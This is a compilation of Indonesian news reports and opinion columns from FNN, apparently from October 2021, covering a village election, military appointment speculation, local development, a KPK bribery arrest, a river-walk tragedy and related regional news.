Kapolda Banten Pastikan Pelaksanaan Pemilihan Kepala Desa Aman

Pandeglang, FNN - Kapolda Banten Inspekektur Jenderal Rudy Heriyanto meninjau tempat pemungutan suara (TPS) 03 Kampung Pasir Kondang, Desa Pandat, Kecamatan Mandalawangi pada pelaksanaan pemilihan kepada desa (Pilkades) secara serentak 17 Oktober 2021 di Kabupaten Pandeglang. "Kami pastikan pilkades aman, damai, tertib dan lancar, " kata Rudy Heriyanto di Pandeglang, Ahad, 17 Oktober 2021. Ia mengapresiasi panitia pilkades di TPS 03 Kampung Pasir Kondang, Desa Pandat, Kecamatan Mandalawangi. Masyarakat menggunakan hak suaranya sesuai aturan undang-undang untuk menentukan calon kepala desa yang terpilih. Selain itu juga panitia menyediakan vaksinasi supaya mempercepat kekebalan komunal (herd immunity). "Saya juga mengapresiasi panitia pelaksana yang telah menyediakan layanan vaksinasi kepada masyarakat. Dengan demikian, diharapkan masyarakat yang belum divaksin dapat divaksin saat datang ke TPS," ujarnya, sebagaimana dikutip dari Antara. Dia menyampaikan arahan kepada personel yang bertugas agar melaksanakan tugas sesuai dengan standar operasional prosedur (SOP) . Petugas di lapangan juga agar memerhatikan kesehatan, sehingga dapat melaksanakan pengamanan pilkades dengan baik. "Yang terpenting selalu menjaga netralitas, jangan berpihak kepada salah satu calon kepala desa," ujarnya. Ia mengatakan, petugas tetap waspada saat melaksanakan tugas mengawal logistik dari desa sampai TPS. Selain itu, juga melaksanakan pengamanan di TPS sampai selesai dan mengawal hasil pencoblosan sampai di desa. Kepolisian bersama Tentara Nasional Indonesia (TNI) akan terus memberikan jaminan keamanan kepada masyarakat dalam mengamankan penyelenggaraan pilkades di wilayah hukum Polda Banten. Pelaksanaan pilkades di TPS 03 KP Pasir Kondang, Desa Pandat, Kecamatan Mandalawangi terdapat 494 orang daftar pemilih tetap (DPT). Berdasarkan pantauan, proses pemungutan suara dilakukan dengan penerapan protokol kesehatan yang ketat. "Kami minta masyarakat juga panitia dan petugas harus mematuhi prokes guna mencegah penyebaran virus corona, " katanya. (MD).

Kecil Peluang Letjen Dudung Abdurrachman Jabat KSAD Baru

Oleh: Mochamad Toha SIAPA yang bakal menggantikan Jenderal TNI Andika Perkasa sebagai KSAD menarik disimak. Apakah Letjen TNI Dudung Abdurrachman yang menjabat Pangkostrad akan mendapat promosi sebagai KSAD? Jika menyimak syarat tidak tertulis internal Angkatan Darat, pria kelahiran 19 November 1965 yang lulusan Akmil 1988 itu, kecil peluangnya. Dudung itu tidak pernah dalami Intelijen, Kopassus, dan Paspampres. “Benar 100%. Kasad itu wajib mengenyam dunia intelijen, pasukan khusus, dan juga Paspampres. Yang tidak memenuhi tiga syarat itu haram hukumnya jadi Kasad. Ini harus diketahui,” ungkap sumber FNN.co.id. “Dia akan jadi “Kasad Baliho”. Jokowi memang cari orang yang bodoh, tapi keras. Kalau betul jadi Kasad akan terjadi polemik nantinya,” tegas sumber FNN.co.id lainnya. Kabarnya, Dudung itu memang sedang disiapkan oligarkhi untuk gantikan Laksamana TNI Yudo Margono yang tidak mau konfrontasi dengan Andika Perkasa. “Kita lihat saja nanti, kalau dalam sisa waktu ini Dudung Abdurrachman naik ke KSAD, berarti Andika Perkasa out. Dan, Dudung jadi Panglima TNI,” lanjutnya. Tapi, berdasarkan teori interaksi simbolik Mensesneg Pratikno yang datang ke Mabes TNI AD pekan lalu, diduga kuat Andika Perkasa diplot menjadi Panglima TNI menggantikan Marsekal Hadi Tjahjanto. “Pilihan pada Andika sudah melalui pertimbangan yang matang,” ungkap pengamat Militer dan Pertahanan Selamat Ginting kepada Hersubeno Arief melalui kanal Hersubeno Point, jaringan FNN, Selasa (12/10/2021). Setelah pensiun, kata Ginting, pengganti Andika tidak mungkin dari TNI AD lagi, karena TNI AL akan kehilangan kesempatan 2 kali menjadi Panglima TNI. “Ini akan berakibat kurang bagus. Sebagai kompromi, Presiden Jokowi bisa menggunakan Perpres 66 tahun 2019, di mana ada posisi Wakil Panglima TNI. Kemungkinan Yudo Margono menjadi Wakil Panglima TNI,” tegasnya. Perpres ini, lanjut Ginting, pernah dipakai ketika Laksamana TNI Widodo AS jadi Panglima TNI. Saat itu Fahrur Rozi sebagi Wakil Panglima. Setelah itu Panglima TNI Endriartono Sutarto, tidak ada lagi posisi wakil Panglima. Jadi, papar Ginting, ketika Andika jadi Panglima TNI, kemungkinan wakil Panglima TNI bisa diisi oleh Yudo Margono. Perpres itu akan digunakan lagi. Tetapi, kalau Perpres itu tidak digunakan, dia akan tetap menjadi KSAL. Kalau Yudo boleh memilih, akan memilih KSAL ketimbang Wakil Panglima TNI. Tapi, setelah Presiden Jokowi sukses menjadikan Andika Perkasa menjadi Panglima TNI, tak serta-merta posisi orang nomor satu di republik ini sudah kuat, sebab Andika hanya menjabat sekitar 1 tahun 2 bulan. Maka Presiden Jokowi harus memikirkan sosok pimpinan TNI yang sesuai dengan seleranya. Ia harus mengkader pimpinan TNI, bahkan sampai pasca 2024. Dosen Universitas Nasional Jakarta itu menegaskan, Presiden Jokowi harus menyiapkan sosok pimpinan TNI yang memiliki jejak hubungan baik Jokowi sendiri. Dudung-lah sosok yang akan menggantikan Andika Perkasa. Tapi, jika menyimak tiga syarat tidak tertulis internal TNI AD, Dudung tidak akan bisa menjabat KSAD. Letjen Dudung itu tidak pernah dalami Intelijen, Kopassus, dan Paspampres. Selama menjabat menjadi Pangdam Jaya, sepak terjang dan profil Dudung kerap menjadi perhatian. Terutama ketika Dudung mengerahkan pasukan untuk menurunkan Baliho bergambar Habib Rizieq Shihab. Mungkin, menurut Presiden Jokowi, itu dianggap sebagai prestasi Dudung, menggantikan peran Kepala Satpol PP. Dudung dipercaya jadi Pangkostrad menggantikan Letjen TNI Eko Margiyono yang menjadi Kasum TNI. Jabatan Kasum TNI ini sebelumnya diisi oleh Letjen TNI Ganip Warsito yang baru dilantik sebagai Kepala BNPB menggantikan Letjen TNI Doni Monardo. Jika Dudung tidak penuhi tiga syarat tadi, harus dicari sosok lainnya. Adalah Letjen Eko Margiyono yang telah penuhi tiga syarat tersebut. Letjen Eko pernah dalami dunia intelijen, pasukan khusus, dan juga Paspampres. Sebelum menjabat KSUM TNI, Eko dikenal sebagai Pangkostrad. Selama 32 Tahun berdinas sebagai perwira TNI, Letjen TNI Eko Margiyono berhasil menempati beberapa jabatan strategis di TNI AD. Menjadi Kasum TNI merupakan kali kedua berkiprah di luar struktur Angkatan Darat. “Ini merupakan suatu kerhormatan bagi saya untuk mengemban tugas ini maka saya harus melakukan adaptasi dan penyesuaian dengan jabatan ini,” ujar Eko Margiyono. Menurutnya, kemampuan setiap individu maupun secara unit, tim, bahkan satuan harus dipelihara juga dan ditingkatkan. Karena banyak tantangan dalam penyelesaian yang harus kita selesaikan dengan sebaik baiknya. “Menjadi seorang prajurit itu kita harus siap dimana pun kita ditugaskan, sesungguhnya sedih untuk meninggalkan TNI AD saat ini tetapi secara pribadi saya siap untuk menjalankan tugas ini,” ujar Eko Margiyono. Melansir dari Wikipedia, Eko Margiyono lahir di Semarang, Jawa Tengah pada 12 Mei 1967. Dia merupakan lulusan Akmil 1989 dari kecabangan Infanteri (Kopassus). Eko Margiyono pernah mengemban amanat sebagai Danjen Kopassus hingga Pangkostrad. Jabatan terakhir jenderal bintang tiga ini adalah Panglima Kodam Jaya. Ia pernah menjabat Dangrup A Paspampres (2010-2012), Gubernur Akmil (2017-2018), Danjen Kopassus (2018-2019), Pangdam Jaya (2019-2020), Pangkostrad (2020). Sebelumnya, Eko juga pernah jabat di Paspampres. Meski dari sisi usia Eko Margiyono lebih muda dari Dudung, tapi lulusan Akmil 1989 ini jabatannya selalu mendahului Dudung yang alumni Akmil 1988. Jika melihat tiga syarat tadi, peluang Eko Margiyono gantikan Andika Perkasa lebih besar ketimbang Dudung Andurrachman. Penulis Wartawan FNN.co.id

Pontianak Jadikan Kawasan Jalan Letkol Sugiyono sebagai Pusat Kuliner

Pontianak, FNN - Pemerintah Kota (Pemkot) Pontianak, Kalimantan Barat (Kalbar), menjadikan kawasan Jalan Letkol Sugiyono, Kelurahan Akcaya, Kecamatan Pontianak Selatan, sebagai pusat kuliner, UMKM Kite dan Pasar Tani, di kota itu. "Sejatinya rencana pusat kuliner di kawasan tersebut sudah direncanakan tiga tahun lalu. Namun karena kondisi pandemi COVID-19 sehingga sempat tertunda. Dijadikannya Jalan Letkol Sugiyono sebagai kawasan sentra kuliner dan hasil-hasil pertanian ini untuk membangkitkan pelaku UMKM terus mengembangkan usahanya," kata Wali Kota Pontianak, Edi Rusdi Kamtono seusai meresmikan pusat kuliner di Pontianak, Minggu. Dia berharap dengan diresmikannya pusat kuliner tersebut bisa menjadi salah satu alternatif bagi para pelaku UMKM untuk memasarkan, mengekspresikan, dan memanjang produk unggulan mereka di lingkungan GOR yang setiap Sabtu dan Minggu selalu ramai aktivitas masyarakat. Setelah diresmikan, lanjutnya lagi, pusat kuliner dan pasar tani di Jalan Letkol Sugiyono akan berlanjut seterusnya. Untuk tahap pertama ada 10 kelompok UMKM dan 10 kelompok tani. Ke depan jika ada tambahan, pihaknya mempersilakan pedagang untuk mendaftar ke Dinas Koperasi Usaha Mikro dan Perdagangan (Diskumdag) Kota Pontianak. "Di sini akan menjadi tempat yang menarik untuk menjadi pusat kuliner," ujarnya. Masyarakat menyambut baik dikembangkannya kawasan ini sebagai pusat kuliner dan pasar tani. Apalagi ruang publik tersebut memberikan suasana yang nyaman, selain untuk berolahraga, rekreasi, bersantai, dan menikmati kuliner. "Untuk penanganan sampah di kawasan ini akan dilakukan secara terpadu," katanya. Ke depan, pihaknya berencana membuat kawasan serupa di lokasi lainnya, seperti di Jalan Sultan Muhammad, di Pontianak Timur, di Pontianak Utara, serta setiap titik kecamatan akan dibuat pusat kuliner berikut fasilitas-fasilitasnya. Sementara itu Kepala Diskumdag Kota Pontianak Junaidi menambahkan saat ini baru tercatat 10 UMKM kuliner dan 10 petani. Untuk pusat kuliner buka dari Senin hingga Jumat mulai pukul 15.00 WIB hingga 22.00 WIB. Khusus Sabtu dan Minggu buka mulai pukul 07.30 WIB hingga 22.00 WIB, sedangkan pasar tani hanya dibuka akhir pekan, yakni Sabtu dan Minggu mulai pukul 07.30 WiB hingga 11.00 WIB. "Kami masih mengusahakan penambahan tenda sehingga akan menambah dari 20 menjadi 45 tenda," katanya. (mth)

Pimpinan DPRD Surabaya Kunjungi Anak Gizi Buruk dan Putus Sekolah

Surabaya, FNN - Pimpinan DPRD Kota Surabaya mengunjungi anak yang didiagnosa mengalami gizi buruk di Kelurahan Klampis Ngasem dan anak putus sekolah di Jagir, Wonokromo, Kota Pahlawan, Jatim, Minggu. “Setelah mendapat laporan dari warga, saya langsung mengunjungi anak itu di rumahnya,” kata Wakil Ketua DPRD Surabaya Reni Astuti saat mengunjungi anak gizi buruk, Dylan (3 tahun) di rumahnya di Kelurahan Klampis Ngasem, Surabaya. Menurut Reni, selama hampir dua pekan Dylan sempat dirawat di RSUD Dr.Soetomo tanpa dikenai biaya. Saat keluar rumah sakit hanya dapat susu yang cukup untuk satu hari dan diberi resep susu khusus, namun tidak bisa membeli, karena kendala biaya. Reni mengatakan kondisi keluarga Dylan tergolong masyarakat berpenghasilan rendah (MBR) yang juga memiliki kartu BPJS PBI. Sedangkan susu khusus yang dimaksud adalah untuk anak gizi buruk dan telah menjadi kebutuhan pokok, karena tidak bisa konsumsi makanan lainnya. “Karena RSUD Soetomo kewenangan Pemprov Jatim, kemarin (16/10) malam, saya infokan ke Kepala Dinas Kesehatan Surabaya dan Minggu pagi tadi ibunya dapat bantuan susu satu kaleng dari RSUD Soewandhi. Selanjutnya Puskesmas setempat bisa melakukan pendampingan, khususnya mengenai ketersediaan kebutuhan susu bagi Dylan," kata Reni. Reni mengucapkan terima kasih kepada seluruh pihak yang telah peduli membantu ,mulai dari kelurahan, kecamatan, Puskesmas, hingga LPMK Pacar Kembang dan Klampis Ngasem yang sudah turun langsung membantu Dylan. Sementara itu, Ibunda Dylan, Alya Resti (26) menuturkan bahwa buah hatinya mengalami sakit sejak satu bulan lalu berat badan Dylan sempat turun dari 12 kg ke 7,4 kg. Saat usia 11 bulan pernah sakit berat hingga di usianya 3 tahun belum bisa jalan. Usai mengunjungi Dylan, Reni bertolak ke lokasi berbeda, di daerah Jagir, Pimpinan DPRD Kota Surabaya ini lalu mengunjungi Reza (12) yang putus sekolah sejak kelas 3 SD. Persoalan biaya pendidikan jadi kendala utama bagi Reza untuk melanjutkan sekolah. Saat ditanya Reni mengenai cita-citanya, Reza dengan semangat dan percaya diri menjawab ingin menggeluti kegemarannya di bidang robotika. “Asal ada kemauan untuk belajar dan bersekolah, kami bantu upayakan bersama-sama agar Reza mendapatkan pendidikannya lagi,” kata Reni saat memberi semangat pada Reza dan keluarga. Reza begitu bersemangat ketika ditanya oleh Reni mengenai keinginannya untuk kembali bersekolah. Kemauan Reza untuk mengenyam bangku pendidikan juga terlihat saat ia berkenan ditempatkan di satuan pendidikan manapun agar bisa segera kembali bersekolah. Keluarga Reza juga berasal dari kalangan MBR. Sedangkan ayahnya sehari-hari bekerja sebagai kuli tukang, sementara ibundanya merupakan kader bumantik. "Saya ajak semua pihak untuk terus menyisir dan bantu anak-anak putus sekolah, Surabaya sedang menuju kota kelas dunia dan sangat butuh SDM unggul," katanya. (mth)

TWC Tawarkan Paket Prambanan Pruputan

Sleman, FNN - PT Taman Wisata Candi Borobudur, Prambanan, dan Ratu Boko, Unit Taman Wisata Candi Prambanan menawarkan paket wisata Pruputan Prambanan yakni paket bagi wisatawan untuk dapat menikmati keindahan Candi Prambanan lebih pagi. "Kami membuka kesempatan bagi wisatawan yang ingin berkunjung ke Candi Prambanan di luar jam kunjungan reguler yakni ada pagi hari jam 06.30 – 08.00 WIB," kata VP Marketing and Sales Taman Wisata Candi Prambanan Pujo Suwarno di Prambanan, Sleman, Minggu. Menurut dia, pruputan sendiri berasal dari Bahasa Jawa, mruput yang artinya pagi. "Pruputan Prambanan ini kami rancang untuk mengakomodir wisatawan yang ingin menikmati ambience Candi Prambanan di waktu pagi. Dengan udara yang masih sejuk, wisatawan dapat melakukan aktivitas pagi yang menyenangkan. Misalnya jogging atau hanya sekedar berjalan-jalan santai mengitari area Taman Wisatawan Candi Prambanan," katanya. Ia mengatakan melalui Paket Pruputan Prambanan, wisatawan dapat berkunjung di area Taman Wisata Candi Prambanan (zona 2) setiap hari mulai dari jam 06.30 – 08.00 WIB. "Dengan harga tiket Rp100.000 per orang, wisatawan akan mendapatkan free access di area Taman Wisata Candi Prambanan dengan menggunakan mobil listrik yang ramah lingkungan. Selain itu, wisatawan juga akan mendapatkan fasilitas makan pagi di Prambanan Resto," katanya. Melalui Paket Pruputan Prambanan, lanjut dia, wisatawan dapat berkeliling dengan mobil listrik mengitari kawasan Taman Wisata Candi Prambanan, disuguhi pemandangan Candi Prambanan, Candi Lumbung, Candi Bubrah, bahkan Candi Sewu. "Wisatawan yang ingin menikmati Paket Pruputan Prambanan ini harus memenuhi syarat wisata yaitu sudah melakukan vaksinasi, menggunakan aplikasi PeduliLindungi, dan tetap mematuhi protokol kesehatan," katanya. Ia mengatakan untuk informasi dan reservasi dapat menghubungi nomor telepon 081578816664 atau 085860302729. (mth)

Ketua Kwarda Pramuka Jabar Kunjungi Keluarga Korban Susur Sungai

Ciamis, FNN - Ketua Kwartir Daerah Gerakan Pramuka Jawa Barat (Jabar) Atalia Praratya Ridwan Kamil meninjau langsung lokasi tewasnya 11 santri yang sedang melakukan kegiatan susur sungai di Sungai Cileueur Dusun Wetan Desa Utama, Kecamatan Cijeungjing, Kabupaten Ciamis. Atalia, Minggu, dalam siaran persnya, menegaskan, kegiatan susur sungai yang tengah dilakukan para korban saat itu bukanlah kegiatan Pramuka seperti diberitakan, melainkan kegiatan mandiri yang dilakukan secara rutin oleh pihak MTs Harapan Baru Ponpes Cipasung Kabupaten Ciamis. Menurut Atalia, berdasarkan informasi pihak ponpes, kegiatan susur sungai tersebut murni diinisiasi oleh pesantren dengan niat luhur untuk mendidik santriwan dan santriwati untuk mencintai lingkungan salah satunya dengan bersih-bersih sungai. "Kegiatan ini adalah bukan kegiatan Pramuka, karena MTs yang bersangkutan bukan termasuk Gugus Depan, juga tidak melaksanakan ekskul pramuka. Ini adalah kegiatan panduan mandiri yang dilakukan secara rutin oleh sekolah yang bersangkutan," sambungnya. Atalia menjelaskan bahwa Pramuka memiliki pedoman No 277 Tahun 2007 yang mengatur tentang pedoman pelaksanaan dan manajemen risiko kegiatan Pramuka, termasuk di dalamnya kegiatan susur sungai. Adapun berdasarkan Surat Edaran Kwarnas, saat ini pihak Gerakan Pramuka masih menunda segala bentuk kegiatan yang bersifat tatap muka yang menghadirkan banyak peserta, seperti perkemahan, seminar, pelatihan, dan sebagainya, sampai waktu yang ditentukan kemudian. Bahkan, kegiatan seperti jambore pun saat ini masih dilakukan secara virtual. Selain itu, kata Atalia, pihaknya terus mengikuti arahan pemerintah pusat terkait pembatasan kegiatan sekolah tatap muka. "Kami sangat mengikuti aturan pemerintah dan juga surat edaran terkait dengan pembelajaran tatap muka terbatas, sehingga untuk kegiatan-kegiatan tertentu khususnya kegiatan-kegiatan lapangan ini memang sangat tidak kita dorong," jelasnya. Meski demikian, Atalia mengatakan bahwa peristiwa ini merupakan musibah dan tidak perlu saling menyalahkan. Atalia menyampaikan belasungkawa atas nama Pemda Provinsi Jabar dan Kwarda Jabar khususnya dan masyarakat Jabar umumnya. "Saat ini saya hadir sebagai kepanjangan tangan Gubernur atas nama Pemda Provinsi Jawa Barat, termasuk warga Jawa Barat seluruhnya, kami menyampaikan rasa duka cita yang mendalam, kami mendoakan agar supaya hal-hal seperti ini bisa kita sama-sama perhatikan lebih baik lagi," katanya. Usai meninjau lokasi kejadian, Atalia melanjutkan kunjungannya dengan melakukan takziah serta menyerahkan santunan ke rumah duka almarhum Candra Ryzkie Hermawan di Kampung Karang, Desa Ciamis, Kecamatan Ciamis, dan almarhumah Khansaa Khairun Nisa di Dusun Desa Kulon RT 09/RW 03, Kelurahan Cimari, Kecamatan Cikoneng, Kabupaten Ciamis. (mth)

Dekranasda Belitung Timur Dorong Pengembangan Batik Daerah

Belitung Timur, FNN - Dewan Kerajinan Nasional Daerah (Dekranasda) Kabupaten Belitung Timur, Provinsi Kepulauan Bangka Belitung (Babel), mendorong warga mengembangkan usaha kreatif batik dengan corak khas daerah. "Batik ini bagian dari karya anak daerah, dengan membatik kita sudah mempertahankan budaya dan ciri khas suatu daerah," kata Wakil Ketua Dekranasda Belitung Timur, Maisninun usai meninjau kegiatan pelatihan membatik di Desa Buding, Minggu. Menurut dia, menjadi seorang pembatik membutuhkan keuletan, ketangguhan, ketangkasan, berjiwa seni, dan memahami filosofi suatu daerah. "Mereka berkarya dengan dorongan inspirasi, baik kebiasaan masyarakat suatu daerah, tumbuh-tumbuhan dan peninggalan nenek moyang. Itu akan menjadi sejumlah motif dalam goresan tangan mereka saat membatik," jelasnya. Pihaknya mendukung penuh pemerintah daerah mengadakan pelatihan membuat pakaian batik daerah untuk mempertahankan kesenian dan budaya daerah. "Selain itu, karya batik juga bisa menjadi peluang usaha bagi masyarakat karena juga mendukung sektor kepariwisataan di daerah ini," ujarnya. Saat ini di Belitung Timur sudah terdapat beberapa sentra pembuat batik dengan berbagai motif yang berkembang saat ini di Belitung Timur, antara lain motif Ikan Tekelesak (arwana), Cangkir Kopi, Keremuntingan, Cempedik, daun Katis Rambai, Ketakong (kantung semar), Kembang Simpor, Tarsius dan Rumah Adat Belitong. "Batik merupakan karya kreatif yang bernilai ekonomis, para pengusaha batik bisa mendapatkan keuntungan karena wisatawan berkunjung selalu mencari sesuatu yang khas di daerah tujuan, di antaranya adalah batik," ujarnya. (mth)

Dewan Pers Harap MK Tolak Uji Materi UU Pers

Jakarta, FNN - Dewan Pers berharap agar Mahkamah Konstitusi (MK) menolak pengajuan uji materi atau judicial review Undang-Undang Nomor 40 Tahun 1999 tentang Pers karena posisi para pemohon, sebagaimana pernyataan pemerintah, tidak mengalami kerugian. "Pemerintah sebut para pemohon dalam hal ini tidak dalam posisi dirugikan, dikurangi, atau setidak-tidaknya dihalang-halangi hak konstitusionalnya dengan keberlakuan ketentuan Pasal 15 ayat (2) huruf f dan Pasal 15 ayat (5) UU Pers," kata Ketua Dewan Pers Muhammad Nuh dalam keterangan tertulis yang diterima di Jakarta, Ahad. Pemerintah, kata M. Nuh, juga menyebut bahwa para pemohon tidak memiliki kerugian atas hak konstitusional berdasarkan UUD NRI Tahun 1945. Berkenaan implementasi Pasal 15 ayat (2) huruf f UU Pers, M. Nuh mengatakan bahwa hal tersebut lebih pada konsensus di antara organisasi-organisasi pers agar terciptanya suatu peraturan bidang pers yang kohesif dan dapat memayungi seluruh insan pers. Dengan demikian, tidak terdapat peraturan-peraturan organisasi pers yang bersifat terpisah, sporadis, dan bahkan bertentangan antara satu dengan yang lainnya, yang akan menyebabkan ketidakpastian hukum dalam penyelenggaraan kemerdekaan pers dan menghambat terciptanya peningkatan kehidupan pers nasional yang sehat. Pemerintah juga menyebut dalam Pasal 15 ayat (1) UU Pers telah jelas memberikan nomenklatur "Dewan Pers" dan tidak ada nomenklatur-nomenklatur lainnya dalam Pasal 15 UU Pers. Oleh karena itu, apabila para pemohon mendalilkan "organisasinya" bernama "Dewan Pers Indonesia", itu bukanlah nomenklatur dan entitas yang dimaksud dalam Pasal 15 ayat (1) UU Pers. Berdasarkan hal tersebut, Dewan Pers Indonesia tidak memerlukan penetapan dari Presiden dalam bentuk Keputusan Presiden, dan tidak ditanggapinya permohonan penetapan anggota Dewan Pers Indonesia oleh Presiden bukanlah suatu perlakuan diskriminatif yang melanggar Pasal 28D ayat (1) dan Pasal 28I ayat (2) UUD NRI 1945, melainkan suatu tindakan yang telah sesuai dengan hukum yang berlaku. Dengan demikian, organisasi dan/atau forum yang menamakan dirinya Dewan Pers Indonesia bukanlah Dewan Pers sebagaimana diatur dalam Pasal 15 UU Pers. Sebelumnya, Heintje Grontson Mandagie, Hans M. Kawengian, dan Soegiharto Santoso selaku pemohon memohon judicial review UU Pers melalui kuasanya pada Kantor Hukum Mustika Raja Law pada tanggal 12 Agustus 2021. Mereka mengatasnamakan diri sebagai anggota Dewan Pers Indonesia. Adapun permohonan mereka dalam petitumnya meminta kepada Mahkamah Konstitusi untuk memutuskan bahwa Pasal 15 ayat (2) huruf f dan Pasal 15 ayat (5) UU Pers bertentangan dengan UUD NRI 1945 dan tidak mempunyai kekuatan hukum mengikat. (ant, sws)

Bakal Diprotes Nama Jalan Kemal Attaturk

By M Rizal Fadillah DUBES RI di Ankara Muhammad Iqbal mengatakan rencana Indonesia untuk mengganti nama salah satu jalan di daerah Menteng dengan nama tokoh sekuler Turki Mustafa Kemal Attaturk. Ia mengatakan sudah memberi data terkait karakter hingga panjang jalan kepada Pemprov DKI. Menurut Iqbal peresmian akan diupayakan saat Erdogan berkunjung ke Indonesia awal tahun 2022. Rencana mengganti nama jalan ini belum tentu mulus, bakal mengundang masalah di dalam negeri karena dapat menimbulkan kontroversi sehingga alih-alih persahabatan Indonesia-Turki yang terbangun, justru dikhawatirkan sebaliknya. Masyarakat muslim Indonesia mengecam sekularisasi Mustafa Kemal Attaturk. Kemal telah mendeklarasikan Turki sebagai negara sekuler dengan mengamandemen Konstitusi 1924. Sekularisme (laicite) di samping memisahkan agama dengan negara juga ternyata negara secara penuh ikut menentukan hukum hukum agama, agama yang disekulerkan. Institusi Islam dihapuskan dan bahasa Arab dilarang. Sebagai peminum berat Kemal Ataturk menggalakkan industri minuman keras, menjadi diktator dengan membungkam oposisi, menutup madrasah, azan diganti bahasa Turki, berpakaian islami dilarang, budaya Islam dihabisi, budaya adat istiadat dibenturkan dengan Agama. Kemal adalah "The sick man Europe". Rencana nama jalan Mustafa Kemal Ataturk di Menteng bakal ditentang. Pertama, Kemal tidak berjasa apa apa bagi negara Republik Indonesia. Kedua, Indonesia bukan negara sekuler dan umat Islam anti sekularisme. Ketiga, Pemerintahan Erdogan kini lebih menghargai Muhammad Fatih ketimbang Kemal Ataturk. Keempat, sifat diktator Kemal tidak disukai bangsa Indonesia. Kelima, tidak jelas nama jalan di Menteng yang akan diganti. Sebagai tokoh anti Islam Kemal Ataturk tidak bersahabat dengan umat Islam Indonesia. Tendensi politik atas rencana penamaannya dapat menyinggung umat Islam. Sikap anti Khilafah Pemerintahan Jokowi hendak disimbolkan dengan profil Kemal yang mengganti sistem Pemerintahan Turki dari berbasis agama menjadi sekuler. Pertanyaan terberat yang dapat diajukan adalah apakah Jokowi ingin meniru Kemal Ataturk untuk kemudiannya menjadi Bapak Sekularisme Indonesia ? Jalan Kemal Ataturk adalah jalan untuk membuat gara-gara baru oleh rezim yang senang pada kegaduhan. *) Pemerhati Politik dan Kebangsaan

KPK Amankan Rp1,7 Miliar Terkait OTT Bupati Musi Banyuasin

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengamankan uang sekitar Rp1,7 miliar terkait operasi tangkap tangan (OTT) Bupati Musi Banyuasin Dodi Reza Alex Noerdin (DRA) dan kawan-kawan. KPK telah menetapkan Dodi bersama tiga orang lainnya dalam kasus dugaan suap terkait pengadaan barang dan jasa di Kabupaten Musi Banyuasin, Sumatera Selatan Tahun Anggaran 2021. "Dari kegiatan ini, tim KPK selain mengamankan uang sejumlah Rp270 juta, juga turut diamankan uang yang ada pada MRD (Mursyid/ajudan bupati) Rp1,5 miliar," ucap Wakil Ketua KPK Alexander Marwata saat jumpa pers di Gedung KPK, Jakarta, Sabtu. Tiga tersangka lainnya, yakni Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kabupaten Musi Banyuasin Herman Mayori (HM), Kabid Sumber Daya Air (SDA)/Pejabat Pembuat Komitmen (PPK) Dinas PUPR Kabupaten Musi Banyuasin Eddi Umari (EU), dan Direktur PT Selaras Simpati Nusantara Suhandy (SH). Dalam kegiatan tangkap tangan pada Jumat (15/10) sekitar pukul 11.30 WIB, Tim KPK telah menangkap enam orang di wilayah Musi Banyuasin dan sekitar pukul 20.00 WIB, Tim KPK juga mengamankan dua orang di wilayah Jakarta. Enam orang tersebut, yakni Dodi Reza Alex Noerdin, Herman Mayori, Eddi Umari, Suhandy, Kabid Preservasi Jalan dan Jembatan Dinas PUPR Kabupaten Musi Banyuasin Irfan (IF), Mursyid (MRD) selaku ajudan bupati, Badruzzaman (BRZ) selaku staf ahli bupati, dan Kabid Pembangunan Jalan dan Jembatan Ach Fadly (AF). Dalam kronologi tangkap tangan, Alex menjelaskan pada Jumat (15/10), Tim KPK menerima informasi akan adanya dugaan penerimaan sejumlah uang oleh penyelenggara negara yang disiapkan oleh Suhandy yang nantinya akan diberikan pada Dodi melalui Herman dan Eddi. Selanjutnya, kata dia, dari data transaksi perbankan diperoleh informasi adanya transfer uang yang diduga berasal dari perusahaan milik Suhandy kepada rekening bank milik salah satu keluarga Eddi. "Setelah uang tersebut masuk lalu dilakukan tarik tunai oleh keluarga EU dimaksud untuk kemudian diserahkan kepada EU," ungkap Alex. Eddi lalu menyerahkan uang tersebut kepada Herman untuk diberikan kepada Dodi. "Tim selanjutnya bergerak dan mengamankan HM disalah satu tempat ibadah di Kabupaten Musi Banyuasin dan ditemukan uang sejumlah Rp270 juta dengan dibungkus kantung plastik," tuturnya. Tim KPK, kata Alex, juga mengamankan Eddi dan Suhandy serta pihak terkait lainnya dan dibawa ke Kejaksaan Tinggi Sumatera Selatan untuk dilakukan permintaan keterangan. "Di lokasi yang berbeda di wilayah Jakarta, Tim KPK kemudian juga mengamankan Dodi di salah satu lobi hotel di Jakarta yang selanjutnya DRA dibawa ke Gedung Merah Putih KPK untuk dimintai keterangan," ucap Alex. Atas perbuatannya tersebut, Suhandy selaku pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. Sedangkan sebagai penerima, Dodi dan kawan-kawan disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 Jo. Pasal Pasal 55 ayat 1 ke-1 KUHP. (ant, sws)

Peluru Nyasar di Rumah Wartawan TVRI Sorong Papua

Sorong, FNN - Proyektil peluru nyasar ke rumah seorang wartawan TVRI Papua bernama Maikel Djasman sekitar pukul 14.30 WIT kawasan kilometer 10 kota Sorong, Sabtu. Kejadian tersebut membuat kaget Maikel dan keluarganya dan kemudian melaporkan kejadian tersebut kepada Polsek Sorong Timur untuk ditindaklanjuti. Menurut Maikel Djasman, saat dihubungi Antara, Sabtu malam, hal itu terjadi saat dia bersama keluarga ada di dalam rumah, tiba-tiba terdengar bunyi seperti lemparan batu di atap rumah. "Pada saat terdengar bunyi, posisi saya berada di dalam kamar. Kemudian saya keluar kamar untuk mengecek apa yang sebenarnya terjadi," ujarnya. Ia menjelaskan bahwa setelah berada di luar bagian depan rumah terlihat plafon bocor dan serpihan jatuh ke mobil. "Saya langsung mengecek, ternyata di samping mobil terdapat proyektil peluru dan langsung melaporkan kejadian tersebut kepada kepolisian," katanya. Dikatakan bahwa dirinya sudah membuat laporan polisi secara tertulis dan telah diminta keterangan oleh Polsek Sorong Timur untuk ditindaklanjuti. Barang bukti proyektil peluru juga sudah diamankan oleh Polsek Sorong Timur boleh penyelidikan lebih lanjut. (ant, sws)

Beda, TNI dengan Polri

